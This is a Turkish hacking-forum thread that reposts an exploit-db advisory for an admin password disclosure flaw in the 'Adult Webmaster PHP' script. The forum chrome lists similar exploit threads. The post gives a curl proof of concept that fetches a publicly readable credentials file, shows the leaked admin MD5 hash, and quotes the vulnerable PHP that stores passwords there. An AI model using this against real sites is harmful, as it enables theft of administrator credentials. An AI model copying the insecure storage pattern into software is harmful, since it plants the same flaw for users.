Konuyu Oyla:
  • Derecelendirme: 3/5 - 2 oy
  • 1
  • 2
  • 3
  • 4
  • 5
Adult Porn Webmaster PHP - Admin Şifresini İfşa Etme Açığı
#1
Kod:
##########################################################################
[+] Exploit:Adult Webmaster PHP - Password Disclosure                    #
[+] Author: vinicius777                                  #
[+] Email/Twitter: vinicius777 [AT] gmail  @vinicius777_                 #                  
[+] Vendor Homepage: http://sourceforge.net/projects/adultweb/       #
##########################################################################

  
[1] Administrative Credential Disclosure

PoC:

root@kali:/# curl http://localhost/home/caspers/public_html/demo/admin/userpwdadfasdfre.txt

admin:3a4ebf16a4795ad258e5408bae7be341

#

Vulnerable Code:
[+] admin/common.php

        // Check user existance
        $pfile = fopen("userpwdadfasdfre.txt","a+");
    rewind($pfile);

    while (!feof($pfile)) {
        $line = fgets($pfile);
        $tmp = explode(':', $line);
        if ($tmp[0] == $user) {
            $errorText = "The selected user name is taken!";
            break;
        }
    }

    // If everything is OK -> store user data
    if ($errorText == ''){
                // Secure password string
                $userpass = md5($pass1);

                fwrite($pfile, "\r\n$user:$userpass");
    }

    fclose($pfile);
  

#

Kaynak =>
Kod:
http://www.exploit-db.com/exploits/31147/
www.deccal.org


Beğenenler:
#2
mantıklı exciting)
Beğenenler:

Konu ile Alakalı Benzer Konular
Konular Yazar Yorumlar Okunma Son Yorum
  Developed By IT Look Admin Sayfası Atlatma Açığı KingSkrupellos 14 187 31 dakika önce
Son Yorum: Ritimsiz
  UpL Image Board_2 Content Dosya Yükleme Açığı KingSkrupellos 6 127 09-12-2016, Saat: 22:56
Son Yorum: GECEGEZEN
  MyBB Forum usercp.php?action=avatar Açığı KingSkrupellos 233 12,038 09-12-2016, Saat: 14:55
Son Yorum: Trajedi
  Desenvolvido de Markcerto SQL Enjeksiyon Açığı KingSkrupellos 12 232 08-12-2016, Saat: 20:37
Son Yorum: _Golge
  WordPress TheAgency Teması Dosya Yükleme Açığı KingSkrupellos 11 201 05-12-2016, Saat: 18:42
Son Yorum: the_zizil
Anahtar Kelimeler

Adult Porn Webmaster PHP - Admin Şifresini İfşa Etme Açığı indir, Adult Porn Webmaster PHP - Admin Şifresini İfşa Etme Açığı Videosu, Adult Porn Webmaster PHP - Admin Şifresini İfşa Etme Açığı Online izle, Adult Porn Webmaster PHP - Admin Şifresini İfşa Etme Açığı Bedava indir, Adult Porn Webmaster PHP - Admin Şifresini İfşa Etme Açığı Yükle, Adult Porn Webmaster PHP - Admin Şifresini İfşa Etme Açığı Hakkında, Adult Porn Webmaster PHP - Admin Şifresini İfşa Etme Açığı Nedir, Adult Porn Webmaster PHP - Admin Şifresini İfşa Etme Açığı Free indir, Adult Porn Webmaster PHP - Admin Şifresini İfşa Etme Açığı Oyunu, Adult Porn Webmaster PHP - Admin Şifresini İfşa Etme Açığı Download


1 Ziyaretçi